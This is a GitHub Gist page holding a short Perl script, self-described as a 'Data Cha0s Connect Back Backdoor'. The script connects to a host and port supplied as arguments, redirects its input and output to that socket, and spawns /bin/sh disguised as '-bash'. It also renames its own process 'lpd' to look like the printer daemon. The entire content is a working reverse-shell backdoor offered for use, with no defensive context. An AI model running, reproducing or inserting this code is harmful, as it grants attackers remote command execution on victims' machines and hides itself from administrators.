Created
July 23, 2011 03:11
-
-
Save fbettag/1100917 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use Socket; | |
$0 = 'lpd'; | |
print "Data Cha0s Connect Back Backdoorn\n"; | |
if (!$ARGV[0]) {printf "Usage: $0 [Host] <Port>\n";exit(1);} | |
print "[*] Dumping Arguments\n"; | |
$host = $ARGV[0]; | |
$port = 50000; | |
if ($ARGV[1]) { | |
$port = $ARGV[1];} | |
print "[*] Connecting...\nn"; | |
$proto = getprotobyname('tcp') || die("Unknown Protocoln"); | |
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Errorn"); | |
my $target = inet_aton($host); | |
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { | |
die("Unable to Connectn"); | |
} | |
print "[*] Spawning Shell\n"; | |
if (!fork( )) {open(STDIN,">&SERVER"); | |
open(STDOUT,">&SERVER"); | |
open(STDERR,">&SERVER"); | |
exec {'/bin/sh'} '-bash' | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment